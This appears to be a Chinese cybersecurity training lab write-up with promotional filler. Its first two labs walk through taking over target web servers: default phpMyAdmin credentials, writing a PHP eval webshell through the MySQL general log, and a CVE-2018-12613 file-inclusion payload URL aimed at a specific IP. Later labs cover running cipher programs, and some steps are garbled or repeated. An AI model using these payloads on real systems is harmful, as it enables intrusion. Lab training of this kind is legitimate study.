2024年最新网络安全综合实训(4)，2024年最新网络安全应用性能优化

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

2、使用目录扫描器御剑，对靶机站点进行目录扫描。发现目标站点下存在phpmyadmin目录以及一个info.php的文件。

3、访问info.php文件之后，发现其内容为php探针。通过php探针的信息，判断出该站点使用phpstudy搭建， 因 为 使 用phpstudy搭 建 的 站 点 默 认 存 在 该 探 针 文 。且获得网 站 的 绝 对 路 径 为“C:\phpStudy\PHPTutorial\WWW”3

4、访问phpmyadmin目录，使用phpstudy中mysql的默认密码（root/root）进行登录尝试，发现登录成功

5、因为以root权限登录了phpmyadmin且在步骤3已经通过php探针获取到了网站的绝对路径，所以接下来可以尝试利用日志文件来进行getshell。首先在sql处执行“SHOW VARIABLES LIKE ‘general%’”查看是否开启日志功能以及日志文件的保存路径

6、由上图可知，“set global general_log = “ON”;”开启mysql日志“setglobalgeneral_log_file=‘C://phpStudy//PHPTutorial//WWW//shell.php’;”将日志文件的存储路径改为站点根目录下的shell.php 文件。

7、之后再执行sql语句“select ‘<?php @eval($\_POST[1]);?>’”，向日志文件中写入php一句话木马。

8、之后在浏览器中访问mysql日志文件，shell.php。看到如图所示的界面表示shell写入成功。

9、使用蚁剑对webshell进行连接。（软件无法使用，下图为参照）

实验2 web站点渗透测试2

实验准备

根据平台提供的靶机网址访问网站首页（10.0.26.10），首页界面如下图所示。

实验过程

1. 扫描目标站点目录，发现存在“www.zip”文件和phpmyadmin目录

2、下载“www.zip”文件，解压后发现为网址源代码文件。

3、打开config目录下的database.php文件。找到数据库连接的用户名和密码。

4、访问网站的phpmyadmin目录，使用在源代码中找到的数据库用户名和密码进行登录尝试。

5、登录成功后，发现phpmyadmin的版本为4.8.1，这个版本的phpmyadmin存在任意文件包含漏洞（CVE-2018-12613）。参考内容：https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-LFI-Exploit/6、利用CVE-2018-12613进行getshell。在SQL语句执行处执行<?php file\_put\_contents('shell.php','<?php @eval($\_POST[1]);?>');?>，这句话的含义为向shell.php文件中写入一句话木马。

1. 

6、通过浏览器开发者工具—application

7、包含session文件，在phpmyadmin目录下生成webshell文件。Payload如下。http://183.129.189.59:10076/phpmyadmin/index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/…/var/lib/php/sessions/sess_[此处为步骤7获取到的sessionID]（Cookies）

8、使用蚁剑对webshell进行连接。连接成功后，可通过蚁剑对目标网站的文件、数据库等进行操作。

实验3 经典实例 （一）凯撒加密解密

1**、打开实验项目**

2**、远程连接虚拟机**

**1.**打开运行窗口，快捷键win+r，执行mstsc命令

**2.**连接电脑ip

3**、打开实验中项目**

4、运行

5、进行凯撒加密解密

实验4 经典实例（一）设计型

1**、打开“C++_caesar”文件夹，点击main.cpp。如下图所示。**

2**、运行**

实验5 经典实例（二）

1、在左侧项目中找到“Vigenera”，找到并找到MyVigenera.java文件，如下图所示。

2、点击eclipse的运行按钮，执行MyCaesar.java程序。如下图所示。

3、在控制台输入1执行加密，输入2执行解密。这里我们输入1，并按提示输入需要加密的字符串。输入密钥字符串，密钥长度需小于明文长度。回车后获得密文。如下图所示。

4、再次运行MyVigenera.java程序，这次选择解密输入刚才加密得到的密文，已经与刚才相同的密钥，如下图所示。

实验6 经典实例（二）设计型

1、打开“C++_Vigenera”文件夹，找到“in.txt”，在里面输入待加密的明文。然后点击Vigenera项目文件，在Dev-C++中打开项目。如下图所示。

2、点击Dev-C++的编译运行按钮。按照控制台提示输入参数。如下图所示。应用进程的情况

3、在“C++_Vigenera”文件夹中找到“out.txt”,即为加密后的密文。

4、如果需要解密，在“in.txt”中写入待解密的密文，运行程序后，在“out.txt”中会生成解密后的明文。实验结束。

实验7 经典实例（三）

1、打开桌面上的eclipse。如下图所示

2、在左侧项目中找到SM4->com.hps.test->testmain.java。如下图所示。

3、点击eclipse的运行按钮，执行testmain.java程序。如下图所示。

实验8 经典实例（三）设计型

1、点击File->Import->fromMSVisualC++project，找到并找到AES.java文件，在弹窗中选择VisualC++project，打开桌面上的“C++_SM4”文件夹中的“TestAESCipher.dsp”文件，最后点击“Import”如下图所示

2、点击Dev-C++的编译运行按钮。如下图所示

实验9 加解密编程（一）

代码

1、在左侧项目中找到“DES”，找到并找到DES.java文件，如下图所示。

2、点击eclipse的运行按钮，执行DES.java程序。如下图所示。

设计型

1、点击File->Import->fromMSVisualC++project，找到并找到AES.java文件，在弹窗中选择VisualC++project，打开桌面上的“C++_DES”文件夹中的“TestAESCipher.dsp”文件，最后点击“Import”如下图所示。

2、点击Dev-C++的编译运行按钮。如下图所示。

实验10加密解密编程（二）

代码

1、在左侧项目中找到“AES”，找到并找到AES.java文件，如下图所示。

2、点击eclipse的运行按钮，执行AES.java程序。如下图所示。

设计型

1、点击File->Import->fromMSVisualC++project，找到并找到AES.java文件，在弹窗中选择VisualC++project，打开桌面上的“C++_AES”文件夹中的“TestAESCipher.dsp”文件，最后点击“Import”如下图所示。

2、运行

实验11加解密编程（三）

代码

1、在左侧项目中找到“RSA”，找到并找到RSA.java文件，如下图所示

2、点击eclipse的运行按钮，执行RSA.java程序。如下图所示。

写在最后

在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。

需要完整版PDF学习资源私我

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！